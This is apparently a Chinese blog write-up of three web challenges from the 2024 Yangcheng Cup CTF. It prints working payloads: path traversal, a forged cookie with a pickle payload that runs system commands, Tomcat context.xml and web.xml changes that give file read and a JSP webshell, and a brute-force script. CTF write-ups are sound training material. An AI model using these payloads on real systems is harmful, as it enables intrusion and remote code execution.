yemaster的小窝

2024羊城杯 初赛web 部分writeup

2024-08-29
153

QwQ,一共5道Web题,做出3道。

Lyrics for you

首先可以用 /lyrics?lyrics=文件名 来读取文件。通过 Wappalyzer 发现是一个 flask 项目,因此用 /lyrics?lyrics=../app.py 读到了源码:

# 读取文件
@app.route("/lyrics", methods=['GET'])
def lyrics():
    resp = make_response()
    resp.headers["Content-Type"] = 'text/plain; charset=UTF-8'
    query = request.args.get("lyrics")
    path = os.path.join(os.getcwd() + "/lyrics", query)

    try:
        with open(path) as f:
            res = f.read()
    except Exception as e:
        return "No lyrics found"
    return res

@app.route("/board", methods=['GET'])
def board():
    invalid = cookie_check("user", secret=secret_code)
    if invalid:
        return "Nope, invalid code get out!"

    data = get_cookie("user", secret=secret_code)

    if isinstance(data, bytes):
        # 这里可以做手脚
        a = pickle.loads(data)
        data = str(data, encoding="utf-8")

    if "username" not in data:
        return render_template('user.html', name="guest")
    if data["username"] == "admin":
        return render_template('admin.html', name=data["username"])
    if data["username"] != "admin":
        return render_template('user.html', name=data["username"])

发现可以 pickle 反序列化。进一步查看 cookie.py 和 config/secret_key.py 的源码,然后就可以伪造 Cookie 了。

secret_code = "EnjoyThePlayTime123456"

因为禁用了 R 指令,所以采用 o 指令来读:

(cos
system
S'whoami'
o.

又因为没有回显,但是可以把命令结果输出到文件中然后再用 lyrics 读取就行了。发现 /flag 没有读取权限,但是有一个 /readflag 可以执行,所以执行 /readflag 就能得到 flag 了。

cookie_encode(('user',b"(cos\nsystem\nS'/readflag>/tmp/1.txt'\no."), "EnjoyThePlayTime123456")
b'!3xKWCDVdw4ZYwfpwM1ghoQ==?gAWVMwAAAAAAAACMBHVzZXKUQyYoY29zCnN5c3RlbQpTJy9yZWFkZmxhZz4vdG1wLzEudHh0JwpvLpSGlC4='

把Cookie改成!3xKWCDVdw4ZYwfpwM1ghoQ==?gAWVMwAAAAAAAACMBHVzZXKUQyYoY29zCnN5c3RlbQpTJy9yZWFkZmxhZz4vdG1wLzEudHh0JwpvLpSGlC4=之后访问/board,然后再访问lyrics?lyrics=/tmp/1.txt读取到flag:

Tomtom2

读取 /opt/tomcat/conf/tomcat-users.xml,得到用户名密码:admin This_is_my_favorite_passwd。然后发现是一个文件上传,试了下发现可以上传xml文件。

改文件名为 ../b.xml 发现不行。看到接口是 ?path=uploads,于是改目录名就可以上传到其他目录。问了下 GPT,可以通过修改 context.xml 来得到任意文件读取:

<Context>
     <Resources>
         <PreResources className="org.apache.catalina.webresources.DirResourceSet"
                       base="/"
                       webAppMount="/test"
                       internalPath="/"/>
     </Resources>
</Context>

这样就可以用 /test+文件名读取任意文件,但是访问 /test/flag 没看到 flag。于是考虑其他办法。

接着,修改网站的 web.xml,使得 xml 当作 jsp 来解析,就可以上传马了。

在 web.xml 最后加上:

<servlet>
    <servlet-name>JSPFileServlet</servlet-name>
    <servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>

<servlet-mapping>
    <servlet-name>JSPFileServlet</servlet-name>
    <url-pattern>*.xml</url-pattern>
</servlet-mapping>

然后用哥斯拉生成了jsp连接,成功RCE,flag文件是 /ffffffllllllaaagggg

Tomtom2_revenge

和上面几乎一样,不过 web.xml 被禁了,context.xml 仍然可以修改。

既然我们拿到了任意文件读,根据上面的经验,flag文件是由几个f+几个l+几个a+几个g组成的,跑暴力就行了:

import requests

for i in range(1, 6):
    for j in range(1, 6):
        for k in range(1, 6):
            for l in range(1, 6):
                url = "http://139.155.126.78:34733/test/" + "f" * i + "l" * j + "a" * k + "g" * l
                r = requests.get(url)
                if "DASCTF" in r.text:
                    print(r.text)
                    exit()

最后也是很顺利拿到了 flag:

> python brute.py
DASCTF{33196881300746916895947590953212}
分类标签:2024 羊城杯 Web
Comments

目录